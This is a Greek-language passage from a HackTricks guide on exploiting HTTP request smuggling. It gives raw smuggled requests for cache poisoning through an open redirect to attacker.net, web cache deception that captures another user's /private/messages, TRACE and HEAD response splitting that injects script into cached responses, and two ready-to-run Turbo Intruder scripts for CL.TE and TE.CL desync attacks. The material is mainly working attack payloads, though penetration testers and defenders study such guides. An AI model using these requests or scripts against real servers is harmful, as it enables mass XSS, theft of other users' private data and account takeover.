Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή εάν ανακαλυφθεί μια ευπάθεια Open Redirect ή εάν υπάρχει ανακατεύθυνση στον ιστό σε μια ανοιχτή ανακατεύθυνση. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του /static/include.js με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο /static/include.js.

Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης δηλητηρίασης cache σε συνδυασμό με ανακατεύθυνση στον ιστό σε ανοιχτή ανακατεύθυνση. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της cache του /static/include.js για να εξυπηρετήσει κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το /post/next?postId=3. Αυτό το αίτημα θα ανακατευθυνθεί στο /post?postId=4, χρησιμοποιώντας την τιμή κεφαλίδας Host για να προσδιορίσει το domain. Με την τροποποίηση της κεφαλίδας Host, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο domain του (on-site redirect to open redirect).

Μετά από επιτυχή socket poisoning, θα πρέπει να ξεκινήσει ένα GET request για το /static/include.js. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα on-site redirect to open redirect και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.

Στη συνέχεια, οποιοδήποτε αίτημα για το /static/include.js θα εξυπηρετήσει το αποθηκευμένο περιεχόμενο του script του επιτιθέμενου, εκκινώντας αποτελεσματικά μια ευρεία επίθεση XSS.

Using HTTP request smuggling to perform web cache deception

Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;

  • Στο web cache poisoning, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.

  • Στο web cache deception, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache.

Ο επιτιθέμενος κατασκευάζει ένα μυστικό αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Αν αυτή η λαθραία αίτηση δηλητηριάσει μια είσοδο cache που προορίζεται για στατικό περιεχόμενο (π.χ., /someimage.png), τα ευαίσθητα δεδομένα του θύματος από το /private/messages μπορεί να αποθηκευτούν στην είσοδο cache του στατικού περιεχομένου. Ως εκ τούτου, ο επιτιθέμενος θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα αποθηκευμένα ευαίσθητα δεδομένα.

Κατάχρηση του TRACE μέσω HTTP Request Smuggling

Σε αυτή την ανάρτηση προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να την καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Θα στείλει μια απάντηση όπως:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Ένα παράδειγμα για το πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά θα ήταν να λαθρέψετε πρώτα ένα HEAD request. Αυτό το αίτημα θα απαντηθεί μόνο με τα headers ενός GET request (Content-Type μεταξύ αυτών). Και να λαθρέψετε άμεσα μετά το HEAD ένα TRACE request, το οποίο θα είναι αντανάκλαση των δεδομένων που στάλθηκαν. Καθώς η απάντηση του HEAD θα περιέχει ένα header Content-Length, η απάντηση του TRACE request θα θεωρείται ως το σώμα της απάντησης του HEAD, επομένως θα ανακλά τυχαία δεδομένα στην απάντηση. Αυτή η απάντηση θα σταλεί στο επόμενο αίτημα μέσω της σύνδεσης, οπότε αυτό θα μπορούσε να χρησιμοποιηθεί σε ένα cached JS αρχείο για παράδειγμα για να εισάγει τυχαίο JS κώδικα.

Εκμετάλλευση του TRACE μέσω HTTP Response Splitting

Συνεχίστε ακολουθώντας αυτή την ανάρτηση προτείνεται ένας άλλος τρόπος για να εκμεταλλευτείτε τη μέθοδο TRACE. Όπως σχολιάστηκε, λαθρεύοντας ένα HEAD request και ένα TRACE request είναι δυνατό να ελέγξετε κάποια ανακλώμενα δεδομένα στην απάντηση του HEAD request. Το μήκος του σώματος του HEAD request υποδεικνύεται βασικά στο header Content-Length και σχηματίζεται από την απάντηση στο TRACE request.

Επομένως, η νέα ιδέα θα ήταν ότι, γνωρίζοντας αυτό το Content-Length και τα δεδομένα που δίνονται στην απάντηση του TRACE, είναι δυνατό να γίνει η απάντηση του TRACE να περιέχει μια έγκυρη HTTP απάντηση μετά το τελευταίο byte του Content-Length, επιτρέποντας σε έναν επιτιθέμενο να ελέγξει πλήρως το αίτημα στην επόμενη απάντηση (η οποία θα μπορούσε να χρησιμοποιηθεί για να εκτελέσει μια δηλητηρίαση cache).

Παράδειγμα:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length που καθιστά την απάντηση TRACE μέρος του σώματος της HEAD και μόλις τελειώσει το Content-Length της HEAD, μια έγκυρη HTTP απάντηση διαρρέει):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Όπλιση HTTP Request Smuggling με HTTP Response Desynchronisation

Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε. Δοκιμάστε αυτές τις άλλες μεθόδους εκμετάλλευσης:

HTTP Response Smuggling / Desync

Άλλες Τεχνικές HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling
  • Request Smuggling σε HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Από https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Από: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Εργαλεία

Αναφορές

Υποστήριξη HackTricks

Last updated